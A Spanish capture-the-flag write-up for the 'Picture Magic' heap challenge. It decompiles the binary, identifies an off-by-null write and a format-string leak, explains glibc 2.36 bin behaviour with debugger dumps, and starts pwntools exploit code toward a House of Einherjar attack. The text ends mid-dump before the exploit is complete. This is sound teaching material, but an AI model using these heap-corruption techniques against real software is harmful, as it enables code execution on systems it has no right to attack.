Picture Magic
31 minutos de lectura
Se nos proporciona un binario de 64 bits llamado picture_magic
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Si lo ejecutamos, necesitamos ingresar un nombre y luego tenemos este menú:
$ ./picture_magic
Welcome to...
██████╗ ██╗ ██████╗████████╗██╗ ██╗██████╗ ███████╗ ███╗ ███╗ █████╗ ██████╗ ██╗ ██████╗██╗
██╔══██╗██║██╔════╝╚══██╔══╝██║ ██║██╔══██╗██╔════╝ ████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝██║
██████╔╝██║██║ ██║ ██║ ██║██████╔╝█████╗ ██╔████╔██║███████║██║ ███╗██║██║ ██║
██╔═══╝ ██║██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║╚██╔╝██║██╔══██║██║ ██║██║██║ ╚═╝
██║ ██║╚██████╗ ██║ ╚██████╔╝██║ ██║███████╗ ██║ ╚═╝ ██║██║ ██║╚██████╔╝██║╚██████╗██╗
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝╚═╝
Your all-in-one tool for creating, viewing, modifying and selling digital pictures on the internet. Let your creativity overflow!
Before creating your masterpiece, please enter your artist name: asdf
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
->
Ingeniería inversa
Se trata de un reto de heap. El proceso de ingeniería inversa es bastante simple, aunque es útil definir una estructura como esta:
typedef struct {
unsigned int width;
unsigned int height;
char* data;
} picture_t;
Esta es la función main
:
int main() {
int option;
long in_FS_OFFSET;
char name[56];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
fwrite("Before creating your masterpiece, please enter your artist name: ", 1, 0x41, stdout);
fgets(name, 56, stdin);
do {
option = menu();
switch (option) {
default:
puts("Invalid choice!");
break;
case 1:
create_picture();
break;
case 2:
transform_picture();
break;
case 3:
show_picture();
break;
case 4:
sell_picture();
break;
case 5:
fwrite("New artist name: ", 1, 0x11, stdout);
fgets(name, 56, stdin);
break;
case 6:
puts("Goodbye!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
} while (true);
}
Lo único especial es que tenemos la oportunidad de modificar la variable name
en cualquier momento, que es un buffer de 56 bytes.
Función de asignación
La primera opción es para crear imágenes:
void create_picture() {
int index;
picture_t *p;
index = next_free();
if (index == -1) {
puts("Running low on memory... please make space by deleting stored pictures!");
} else {
p = (picture_t *) malloc(0x4f8);
fwrite("Width: ", 1, 7, stdout);
__isoc99_scanf("%u", &p->width);
getchar();
fwrite("Height: ", 1, 8, stdout);
__isoc99_scanf("%u", &p->height);
getchar();
if (((p->height * p->width < 0x4f1) && (p->width < 0x4f1)) && (p->height < 0x4f1)) {
puts("\nReading picture into buffer:");
puts("================================");
read_picture(p);
puts("================================");
printf("Successfully read picture!\nPicture has been assigned index %d.\n", index);
pictures[index] = p;
} else {
printf("\nChosen size of (%u, %u) cannot be used!\n", p->width, p->height);
printf("Picture must not exceed %d bytes!\n", 0x4f0);
free(p);
}
}
}
Básicamente, el programa asigna un chunk de tamaño 0x4f8
y nos permite establecer un ancho y un alto para la imagen. Luego, se verifica que p->width
, p->height
y su producto no exceda 0x4f0
. Si es todo está bien, el programa llama a read_picture
. De lo contrario, se muestra un error.
Además, obsérvese la función next_free
, que busca un espacio vacío en la lista global pictures
:
int next_free() {
int index;
index = 0;
while (true) {
if (3 < index) {
return -1;
}
if (pictures[index] == NULL) break;
index++;
}
return index;
}
Esto es relevante porque solo tenemos espacio para 4 imágenes.
Función de lectura
Esta es read_picture
:
void read_picture(picture_t *p) {
char c;
int cc;
uint row;
uint column;
row = 0;
do {
if (p->height <= row) {
p->data[p->width * p->height] = '\0';
return;
}
for (column = 0; column < p->width; column++) {
cc = getchar();
c = (char) cc;
if ((c < '\0') || (c == '\0')) {
puts("Invalid character detected!");
// WARNING: Subroutine does not return
exit(0);
}
if (c == '\n') {
for (; column < p->width - 1; column++) {
p->data[p->width * row + column] = ' ';
}
}
p->data[p->width * row + column] = c;
}
p->data[p->width * (row + 1) - 1] = '\n';
row++;
} while (true);
}
Puede parecer un poco extraño, pero nos permite ingresar algunos datos para cada fila (byte a byte). Algunas otras consideraciones:
- Si presionamos
ENTER
(\n
), el programa llenará el espacio restante en la fila con espacios en blanco y un nuevo carácter de salto de línea al final - El programa agregará un byte nulo al final de la imagen
Aquí tenemos una vulnerabilidad sutil (pero poderosa), como veremos más adelante. La cosa es que, si creamos una imagen con p->width = 0x4f0
y p->height = 1
, el programa nos permitirá ingresar algunos datos, llenar el resto con espacios en blanco y un carácter de salto de línea al final. Pero también sucederá que p->data[0x4f0 * 1] = '\0'
. Este índice está fuera de los límites, por lo que tenemos un desbordamiento de un byte nulo (también conocido como off-by-null).
Por el momento, continuemos analizando las funciones.
Función de edición
Esta no es en realidad una forma simple de editar imágenes, pero aquí las tenemos:
void transform_picture() {
uchar size;
int row;
int column;
int index;
char type[5];
picture_t *p;
index = get_index();
if (((index < 0) || (3 < index)) || (pictures[index] == NULL)) {
puts("Invalid picture index!");
} else {
p = pictures[index];
fwrite("Transformation type (mul/add/sub/div): ", 1, 0x27, stdout);
fgets(type, 5, stdin);
if (((type[0] == 'm') || (type[0] == 'a')) || ((type[0] == 's' || (type[0] == 'd')))) {
fwrite("Transformation size: ", 1, 0x15, stdout);
__isoc99_scanf("%hhu", &size);
getchar();
fwrite("Transformation row (-1 for all): ", 1, 0x21, stdout);
__isoc99_scanf("%d", &row);
getchar();
if ((row == -1) || ((uint) row < p->height)) {
fwrite("Transformation column (-1 for all): ", 1, 0x24, stdout);
__isoc99_scanf("%d", &column);
getchar();
if ((column == -1) || ((uint) column < p->width)) {
transform_row(p, size, row, column, type[0]);
} else {
puts("Invalid column, out of range!");
}
} else {
puts("Invalid row, out of range!");
}
} else {
puts("Invalid transformation type!");
}
}
}
Esta función pide un índice (0
a 3
) mediante get_index
:
int get_index() {
int index;
fwrite("Picture index: ", 1, 0xf, stdout);
__isoc99_scanf("%d", &index);
getchar();
return index;
}
Y luego pide una operación (add
, sub
, mul
, div
), un tamaño (este nombre de variable no debería llamarse así, no tiene sentido), una fila y una columna para aplicar la transformación. Entonces, transform_picture
llamará a transform_row
, que llama a transform_column
y finalmente, transform_final
:
void transform_final(picture_t *p, char size, int r, int c, char type) {
if (type == 'a') {
p->data[p->width * r + c] = p->data[p->width * r + c] + size;
} else if (type == 's') {
p->data[p->width * r + c] = p->data[p->width * r + c] - size;
} else if (type == 'm') {
p->data[p->width * r + c] = p->data[p->width * r + c] * size;
} else if (type == 'd') {
p->data[p->width * r + c] = p->data[p->width * r + c] / size;
}
if (p->data[p->width * r + c] == '\0') {
p->data[p->width * r + c] = ' ';
}
}
void transform_col(picture_t *p, char size, int row, int column, char type) {
uint c;
if (column == -1) {
for (c = 0; c < p->width; c++) {
transform_final(p, size, row, c, type);
}
} else {
transform_final(p, size, row, column, type);
}
}
void transform_row(picture_t *p, char size, int row, int column, char type) {
uint r;
if (row == -1) {
for (r = 0; r < p->height; r++) {
transform_col(p, size, r, column, type);
}
} else {
transform_col(p, size, row, column, type);
}
}
Una cosa a notar es que no podemos tener bytes nulos en nuestras imágenes. Cada byte nulo que aparece después de la transformación será reemplazado por un espacio en blanco…
Función de liberación
Esta es la función para eliminar (vender) imágenes (sell_picture
):
void sell_picture() {
int index;
int ret;
size_t index_newline;
char price[4];
char yn[4];
picture_t *p;
index = get_index();
if (((index < 0) || (3 < index)) || (pictures[index] == NULL)) {
puts("Invalid picture index!");
} else {
p = pictures[index];
print_picture(p);
fwrite("\nHow much do you want to sell the picture for? ", 1, 0x2f, stdout);
fgets(price, 4, stdin);
index_newline = strcspn(price, "\n");
price[index_newline] = '\0';
ret = strcmp(price, "0");
if (ret != 0) {
printf("\nPicture is put up for sale at the price of $");
printf(price);
puts(".\n");
sleep(1);
puts(".");
sleep(1);
puts(".");
sleep(1);
puts(".");
sleep(1);
puts("\nNo-one wants to buy your picture :\'(");
fwrite("Do you want to throw it away instead? (y/N) ", 1, 0x2c, stdout);
fgets(yn, 3, stdin);
if ((yn[0] != 'y') && (yn[0] != 'Y')) {
return;
}
}
puts("You toss the picture away.");
pictures[index] = NULL;
free(p);
}
}
Aquí tenemos una vulnerabilidad de Format String, podemos ingresar cualquier precio y se utilizará como primer argumento de printf
. La limitación es que solo tenemos 3
bytes, ya que fgets(price, 4, stdin)
solamente lee 3
bytes (más el carácter de salto de línea). Por lo tanto, esta vulnerabilidad solo se puede usar para fugar una dirección de pila:
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 1
Width: 0
Height: 0
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 0.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 4
Picture index: 0
================================
================================
How much do you want to sell the picture for? %p
Picture is put up for sale at the price of $0x7ffcffdca640.
.
.
.
No-one wants to buy your picture :'(
Do you want to throw it away instead? (y/N)
Esto será útil para calcular la dirección absoluta de name
en tiempo de ejecución.
Función de información
También hay una función para mostrar una imagen, pero esta vez es irrelevante para la explotación:
void show_picture() {
int index;
index = get_index();
if (((index < 0) || (3 < index)) || (pictures[index] == NULL)) {
puts("Invalid picture index!");
} else {
print_picture(pictures[index]);
}
}
Estrategia de explotación
Para planificar el exploit, debemos tener en cuenta que el binario usa Glibc 2.36 (se proporciona en el reto):
$ ./ld-2.36.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu4) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Esta es una versión moderna de Glibc, por lo que tiene muchos exploits parcheados. Aún así, podemos echar un vistazo a how2heap y ver que hay algunos exploits que funcionan; sin embargo, se necesitan algunos bypasses.
Unsorted Bin
En este reto, solo podemos asignar chunks con malloc(0x4f8)
. Por lo tanto, no tenemos ningún control sobre el tamaño de los chunks. Además, cuando estos chunks se liberan, van directamente al Unsorted Bin, porque su tamaño es más grande que el aceptado por Tcache. Por ejemplo:
$ gdb -q picture_magic
Reading symbols from picture_magic...
(No debugging symbols found in picture_magic)
gef> run
Starting program: ./picture_magic
warning: Expected absolute pathname for libpthread in the inferior, but got ./libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Welcome to...
██████╗ ██╗ ██████╗████████╗██╗ ██╗██████╗ ███████╗ ███╗ ███╗ █████╗ ██████╗ ██╗ ██████╗██╗
██╔══██╗██║██╔════╝╚══██╔══╝██║ ██║██╔══██╗██╔════╝ ████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝██║
██████╔╝██║██║ ██║ ██║ ██║██████╔╝█████╗ ██╔████╔██║███████║██║ ███╗██║██║ ██║
██╔═══╝ ██║██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║╚██╔╝██║██╔══██║██║ ██║██║██║ ╚═╝
██║ ██║╚██████╗ ██║ ╚██████╔╝██║ ██║███████╗ ██║ ╚═╝ ██║██║ ██║╚██████╔╝██║╚██████╗██╗
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝╚═╝
Your all-in-one tool for creating, viewing, modifying and selling digital pictures on the internet. Let your creativity overflow!
Before creating your masterpiece, please enter your artist name: asdf
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 1
Width: 0
Height: 0
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 0.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 1
Width: 0
Height: 0
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 1.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 4
Picture index: 0
================================
================================
How much do you want to sell the picture for? 0
You toss the picture away.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> heap chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
----------------------------------------------------------------------------------------------------------------------------- Tcachebins for arena 'main_arena' -----------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in tcache.
------------------------------------------------------------------------------------------------------------------------------ Fastbins for arena 'main_arena' ------------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in fastbin.
---------------------------------------------------------------------------------------------------------------------------- Unsorted Bin for arena 'main_arena' ----------------------------------------------------------------------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
----------------------------------------------------------------------------------------------------------------------------- Small Bins for arena 'main_arena' -----------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
----------------------------------------------------------------------------------------------------------------------------- Large Bins for arena 'main_arena' -----------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
Estos chunks liberados tienen dos direcciones de Glibc (main_arena
) en los punteros fd
y bk
:
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
gef> x/gx 0x00007ffff7df6cc0
0x7ffff7df6cc0 <main_arena+96>: 0x000055555555cc90
Además, el la flagPREV_INUSE
del chunk siguiente se pone a 0
, y el campo prev_size
se llena con 0x500
. Esto es importante porque el asignador de heap intentará fusionar chunks del Unsorted Bin entre sí o con el top chunk cuando sea posible. Por ejemplo, si libero la segunda imagen, todo el heap se consolidará con el top chunk:
gef> continue
Continuing.
4
Picture index: 1
================================
================================
How much do you want to sell the picture for? 0
You toss the picture away.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x20d70, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000020d71 | ........q....... | <- top
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
...
Obsérvese que no se eliminan los datos dentro de los chunks…
También hay una forma de “clasificar” un chunk de Unsorted Bin en un Large Bin. Podemos hacerlo llamando a malloc_consolidate
, y esta función es llamada por scanf
si tiene que procesar una cadena larga. Veamos un ejemplo (comenzando como antes):
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
Ahora ponemos una cadena grande (más de 1024 bytes):
gef> continue
Continuing.
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Invalid choice!
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df70f0, bk=0x7ffff7df70f0, fd_nextsize=0x55555555c290, bk_nextsize=0x55555555c290) <- largebins[idx=67,sz=0x500-0x540][1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x303030356565656c, bk=0x3030303030303030) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
large_bins[idx=67, size=0x500-0x540, @0x7ffff7df7100]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df70f0, bk=0x7ffff7df70f0, fd_nextsize=0x55555555c290, bk_nextsize=0x55555555c290)
[+] Found 1 chunks in 1 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- largebins[idx=67,sz=0x500-0x540][1/1]
0x55555555c2a0: 0x00007ffff7df70f0 0x00007ffff7df70f0 | .p.......p...... |
0x55555555c2b0: 0x000055555555c290 0x000055555555c290 | ..UUUU....UUUU.. |
0x55555555c2c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 76 lines, 0x4c0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x3030303030303030 0x3030303030303030 | 0000000000000000 |
* 175 lines, 0xaf0 bytes
0x55555555d7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 79 lines, 0x4f0 bytes
0x55555555dca0: 0x0000000000000000 0x000000000001f361 | ........a....... |
...
Esta habilidad no se necesita realmente en el exploit, pero vale la pena documentarla.
House of Einherjar (Null-byte poison)
Recordemos de read_picture
que tenemos una vulnerabilidad off-by-null. De hecho, podemos explotarlo para modificar los metadatos del chunk adyacente (específicamente, establecer PREV_INUSE
a 0
).
Este es el único bug que tenemos. En un reto más fácil, uno podría simplemente realizar un ataque de null-byte poison (como en Dream Diary: Chapter 3) y listo. Sin embargo, este programa no nos permite escribir bytes nulos donde queremos. Por ejemplo, tendremos que jugar con el campo prev_size
para realizar un tipo de exploit de Unsafe Unlink, pero no podemos simplemente agregar 0x0000000000000500
, porque todos los bytes nulos serán reemplazados por espacios en blanco.
En este punto, lo único que podríamos hacer es usar números enteros negativos, porque se expresan usando el complemento a dos, por ejemplo, -1
es 0xffffffffffffffff
. De esta manera, podemos poner en cualquier valor negativo en prev_size
y aún así intentar realizar un ataque de null-byte poison.
La mejor idea es usar el buffer de name
en la pila para escribir nuestro chunk falso, ya que aquí no tenemos limitación de caracteres. Por lo tanto, también necesitamos obtener una fuga de memoria del heap para calcular los offsets relativos (para el prev_size
negativo).
Desarollo del exploit
En primer lugar, usaremos estas funciones auxiliares:
def create(width: int, height: int, data: bytes = b'') -> int:
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'Width: ', str(width).encode())
p.sendlineafter(b'Height: ', str(height).encode())
p.sendlineafter(b'================================\n', data)
p.recvuntil(b'Picture has been assigned index ')
return int(p.recvuntil(b'.', drop=True).decode())
def transform(index: int, size: int, row: int, column: int, operation: bytes):
p.sendlineafter(b'-> ', b'2')
p.sendlineafter(b'Picture index: ', str(index).encode())
p.sendlineafter(b'Transformation type (mul/add/sub/div): ', operation)
p.sendlineafter(b'Transformation size: ', str(size).encode())
p.sendlineafter(b'Transformation row (-1 for all): ', str(row).encode())
p.sendlineafter(b'Transformation column (-1 for all): ', str(column).encode())
def show(index: int) -> bytes:
p.sendlineafter(b'-> ', b'3')
p.sendlineafter(b'Picture index: ', str(index).encode())
p.recvuntil(b'================================\n')
return p.recvuntil(b'================================\n', drop=True)
def sell(index: int, price: bytes = b'0', yn: bytes = b'y') -> bytes:
p.sendlineafter(b'-> ', b'4')
p.sendlineafter(b'Picture index: ', str(index).encode())
p.sendlineafter(b'How much do you want to sell the picture for? ', price)
if price == b'0':
return b''
p.recvuntil(b'Picture is put up for sale at the price of $')
sale = p.recvuntil(b'.', drop=True)
p.sendlineafter(b'Do you want to throw it away instead? (y/N) ', yn)
return sale
def change(name: bytes):
p.sendlineafter(b'-> ', b'5')
p.sendlineafter(b'New artist name: ', name)
Fugando direcciones de memoria
La primera fuga que podemos obtener es la fuga de la dirección de la pila y encontrar la posición absoluta de name
mediante offsets relativos:
def main():
p.sendlineafter(b'Before creating your masterpiece, please enter your artist name:', b'asdf')
create(0, 0)
create(0, 0)
create(0, 0)
create(0, 0)
name_addr = int(sell(0, b'%p').decode(), 16) + 0x2160
p.info(f'Name address: {hex(name_addr)}')
A continuación, hay una forma bastante escondida de fugar direcciones de Glibc y punteros del heap. Recordemos la función create_picture
, en concreto, este trozo de código:
fwrite("Width: ", 1, 7, stdout);
__isoc99_scanf("%u", &p->width);
getchar();
fwrite("Height: ", 1, 8, stdout);
__isoc99_scanf("%u", &p->height);
getchar();
if (((p->height * p->width < 0x4f1) && (p->width < 0x4f1)) && (p->height < 0x4f1)) {
puts("\nReading picture into buffer:");
puts("================================");
read_picture(p);
puts("================================");
printf("Successfully read picture!\nPicture has been assigned index %d.\n", index);
pictures[index] = p;
} else {
printf("\nChosen size of (%u, %u) cannot be used!\n", p->width, p->height);
printf("Picture must not exceed %d bytes!\n", 0x4f0);
free(p);
}
Si el tamaño de la imagen no cumple con la condición, se imprimirá un error. Lo relevante es que los valores de p->width
y p->height
todavía muestran en el error. Por lo tanto, si simplemente escribimos una letra en scanf
, nada cambiará en los campos p->width
y p->height
. Entonces, imaginemos que estamos sobrescribiendo un chunk liberado, tendríamos el puntero fd
apuntando a main_arena
(digamos 0x7ffff7df6cc0
). Esto significa que p->height = 0x7fff
y p->width = 0xf7df6cc0
, y así podemos obtener una fuga. Mismo ejemplo que antes:
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
